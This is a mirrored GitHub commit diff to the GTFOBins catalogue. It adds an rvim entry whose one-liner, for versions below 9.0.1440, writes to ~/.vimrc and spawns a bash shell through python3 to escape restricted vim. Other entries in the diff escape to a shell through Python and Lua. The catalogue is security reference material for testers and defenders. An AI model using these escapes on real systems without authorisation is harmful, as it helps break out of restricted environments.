1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-15 13:34:09 +01:00

Merge 1894142c8a9b03e33a81c5f99e5868e577dd73c0 into 4eca50ea1656f3236943975aeebee80cf8d613ea

This commit is contained in:
vhash 2023-12-23 11:53:06 -08:00 committed by GitHub
commit 83ef773712
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

@ -1,6 +1,8 @@
--- ---
functions: functions:
shell: shell:
- description: This requires that `rvim` version is `< 9.0.1440`.
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- description: This requires that `rvim` is compiled with Lua support. - description: This requires that `rvim` is compiled with Lua support.